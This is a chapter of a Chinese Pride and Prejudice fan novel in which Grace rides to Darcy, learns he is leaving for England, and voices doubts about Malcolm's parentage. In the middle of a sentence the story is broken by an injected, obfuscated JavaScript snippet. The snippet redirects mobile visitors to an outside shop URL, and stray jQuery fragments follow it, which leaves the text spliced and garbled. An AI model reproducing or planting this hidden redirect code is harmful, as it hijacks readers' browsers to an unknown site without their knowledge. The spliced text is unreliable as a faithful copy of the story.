文趣网 > 其他小说 > [傲慢与偏见]镜中的格蕾丝 > 52.片刻分离
    格蕾丝站在花园里,冷风吹起她的披肩。她抬起头,望向天空那轮略显惨白的太阳,心中突然涌起一股强烈的冲动。

    她不再犹豫,径直朝着庄园后方的马厩走去。

    “把维罗给我牵出来,套上马鞍。”

    马夫吓了一跳,结巴地回答:“小姐?您要骑马?可是马尔科姆少爷吩咐过……”

    “我是凯利家的小姐,难道我连骑一匹马的权力都没有了吗?”格蕾丝不由得提高了音量,眼神中透出前所未有的凌厉。

    马夫被她的气势震慑住,不敢再违抗,手忙脚乱地将马匹牵了出来。

    格蕾丝利落地跃上马背,踏着满地的泥泞与融雪,朝着阿什伍德的方向疾驰而去。

    风在她的耳畔呼啸,夹杂着化雪后的冰冷。她伏在马背上,不再去想自己这般莽撞会引来怎样的非议。她现在的脑海里只有一个念头——必须立刻见到菲茨威廉·达西。

    达西先生正站在书房的窗前,手中拿着一封刚刚写好的信函。他透过玻璃,看到那个孤身一人纵马冲进庭院的身影,简直不敢相信自己的眼睛。

    他扔下手中的信件,甚至来不及披上外套便冲出了宅邸。

    格蕾丝勒住缰绳,气喘吁吁地从马背上滑落下来。她的头发被风吹得有些凌乱。

    “菲茨威廉!”

    格蕾丝像一只终于归巢的倦鸟,不顾一切地飞奔过去。

    达西张开双臂,稳稳地接住了她。

    “我的天啊,格蕾丝。”

    “我好想你,菲茨威廉。我真的好想你……”

    寒气透过她的斗篷传递到他的身上。他清醒过来,迅速将她带进室内。

    “快准备热茶和毛毯!把起居室的壁炉烧到最旺!”达西对着惊呆了的仆人们吩咐。

    达西将格蕾丝安置在离壁炉最近的沙发上。他脱去她沾满泥水的手套,用自己那温暖的手,一点一点地揉搓着她被冻得僵硬的双手。

    “你怎么会这个时候来?为什么连个侍从都不带?如果路上遇到了危险怎么办?”

    她破涕为笑,轻声回答:“因为今天雪化了,而且哥哥去了都柏林。我一刻都不想再等了。”

    就在这时,格蕾丝的目光不经意间落在了门厅处。达西的贴身男仆正指挥着几个下人,往几只旅行箱里装叠着衣物和文件。

    一种不祥的预感涌上心头,她反手抓住达西的手腕,问道:“菲茨威廉,那些箱子是怎么回事?你的仆人在收拾行李,你要去哪里?”

    达西沉默了片刻,才发出一声无奈的叹息:“格蕾丝,我原本打算今天下午派人去格伦莫尔给你传一个口信的……我马上就要回英格兰一趟了。”

    “为什么是现在?是因为马尔科姆那天的羞辱吗?你觉得我的家人不可理喻,所以打算放弃了吗?”

    “不!当然不是!”达西急切地捧起她的脸庞,“我向上帝发誓,我绝不会放弃你!就算马尔科姆用枪指着我的头,我也不会退缩半步!”

    他接着冷静地说道:“一方面,是最近的暴风雪终于平稳下来了,爱尔兰海上的航线重新开放。这是一个难得的窗口期。但更重要的是……乔治安娜。

    “我在爱尔兰耽搁得太久了。乔治安娜写信告诉我,她最近感染了风寒,身体一直很虚弱。还有不到一个月就是圣诞节了。我曾向她许诺过,无论我在哪里,圣诞节一定会回去陪她。我不能违背对她的诺言。”

    格蕾丝当然理解达西的处境。乔治安娜是他在世上最亲的亲人,他身为彭伯利的家主,有着不可推卸的家族责任。

    只不过,理解是一回事,情感上的难以割舍又是另一回事。

    “那你什么时候启程?”

    “再过两三天,等港口的商船安排妥当便会出发。”

    为了稍微缓解悲伤的氛围,他半开玩笑,却又带着几分认真与渴望说道:“格蕾丝,这些天的分离对我来说也将是漫长的折磨。不如……你想和我一起回去吗?就在今天,我偷偷地带你走。我们不坐马车,就骑马去港口,买最近的一班船票,回彭伯利去。”

    格蕾丝被他这突如其来的“私奔”提议惊得睁大了眼睛,忍不住笑了出来。

    只可惜,她知道这是不现实的。如果他们真的私奔,不仅会毁了凯利家族的声誉,还会让达西沦为整个伦敦社交界的笑柄。更何况,现在摆在他们面前的,已经不仅仅是马尔科姆的阻挠了。

    格蕾丝收敛住笑容,坚定地摇了摇头。

    “菲茨威廉,谢谢你。这句大胆的提议让我感觉很开心。但我不能走。”

    她思索了一下,将这几天发生的事情,以及自己心态的转变娓娓道来:“我要赶在真正的深冬之前,去慰问剩下的那些村庄,还有纺织工厂和马场的工人们。前几天,哥哥带我去发放过冬物资,我亲眼看到了在严寒中瑟瑟发抖的佃户,甚至还有连鞋都没有的孤儿。

    “那些底层的工人和农民,全都指望着凯利家族才能活下去。既然我现在已经是凯利家的大小姐了,我就不能只享受这份头衔带来的荣华富贵。我也有我的责任与担当。”

    达西静静地听着,他没有因为被拒绝而感到失落。相反,他的心中涌起了更深层的赞赏。

    “你真的成长了,格蕾丝。”达西情不自禁地倾身上前,在她的额头上印下一个充满敬意的吻,“去做你认为正确的事情吧。凯利家族有你,是他们的幸运。”

    格蕾丝得到了爱人的理解与支持,只觉得浑身充满力量。两人依偎在炉火旁,享受着难得的片刻温存。

    过了一会儿,格蕾丝的神色渐渐变得凝重起来。她发出了那个一直萦绕在心头,让她夜不能寐的疑问。

    “菲茨威廉,有一件事我必须向你求证。你还记得吗?当初在调查凯利家族的事情时,你曾告诉我,在你们收集到的卷宗里,马尔科姆·凯利的出现是出乎你们意料的。这具体是什么原因?”

    达西眉头微蹙,回忆起当年的细节,严谨地回答道:“确实如此。当时我委托了伦敦顶尖的

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17661014|203965||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    律师行去爱尔兰进行背景调查。传回来的资料显示,格伦莫尔庄园的掌权者一直是老凯利先生。坊间关于他家庭的传闻,也多是围绕着备受宠爱的凯利小姐。至于另一位少爷,之前几乎没有在我们的情报网中出现过。直到老凯利先生病重,他才突然以强势的姿态接管了家族的一切。”

    格蕾丝深吸了一口气,将自己在阁楼里的发现和盘托出。

    “菲茨威廉,我怀疑马尔科姆根本不是凯利家族亲生的儿子。我偷偷去了庄园的阁楼,在那里看到了母亲的画像。他和父亲母亲长得完全不像!而且,庄园里那些上了年纪的仆人,对他的过去讳莫如深。”

    不仅如此,格蕾丝还想起了梅芙作为一个年轻流□□孩被收留为贴身女仆的安排,以及马尔科姆在村庄里看着那个孤儿时流下的眼泪。

    但关于阁楼里那幅充满禁忌爱意的画像,她犹豫了一下,最终还是选择了隐瞒。如果现在告诉他,他只怕会像发疯一般失去理智,跑去对峙。

    “虽然他的血统存疑,但是他的为人处世还有对家族荣誉的维护,显然已经受凯利家族影响已久,甚至比真正的血脉还要深重。”格蕾丝总结道。

    听完格蕾丝的讲述,达西震惊之余,也陷入了沉思。他敏锐地洞察到其中隐藏的阴谋与凶险。

    “如果你的猜测是真的,那这背后必定隐藏着一段不可告人的家族秘辛。老凯利先生为什么会突然传位给一个没有血缘关系的养子?而他为什么又要对你的归来表现出如此矛盾的控制欲?这件事非同小可。格蕾丝,你正站在这危机四伏的旋涡中心。”

    “我不怕。”格蕾丝坚定地看着他。

    “但我怕。听着,我回到英格兰后,除了陪伴乔治安娜,还会立刻重新委托我的律师和当年在都柏林的担保人,不惜一切代价,去深挖这件陈年旧案。我会查清楚马尔科姆的真正身世以及老凯利先生过世的真相。

    “在这期间,你必须保护好自己。不要再去触碰他的底线,也不要让他察觉到你已经知晓了这个秘密。好好履行你作为大小姐的责任。一旦有什么异常或者危险,马上给我写信,直接寄到彭伯利或者我在伦敦的宅邸。”

    “你放心,我会照顾好自己的。”格蕾丝依依不舍地凝望着他。

    “相信我,格蕾丝。等圣诞节一过,我很快就会回到爱尔兰。下一次,我一定会堂堂正正地将你带走,绝不让任何人再伤害你。”

    时间在不知不觉中流逝,窗外的太阳已经开始西斜。格蕾丝知道,就算心中有千般万般的不舍,她必须在马尔科姆返回庄园之前赶回去。

    在临上马之前,格蕾丝突然转过身,双手勾住达西的脖颈,飞速地在他的脸颊上留下了一个温热的吻。

    “我在格伦莫尔等你。一路平安,菲茨威廉。”

    还没等达西反应过来,格蕾丝已经翻身上马,回头冲他展露了一个俏皮的笑容。

    骏马长嘶,踏着初冬的融雪与夕阳的余晖,像一阵自由的风冲出了阿什伍德的庭院。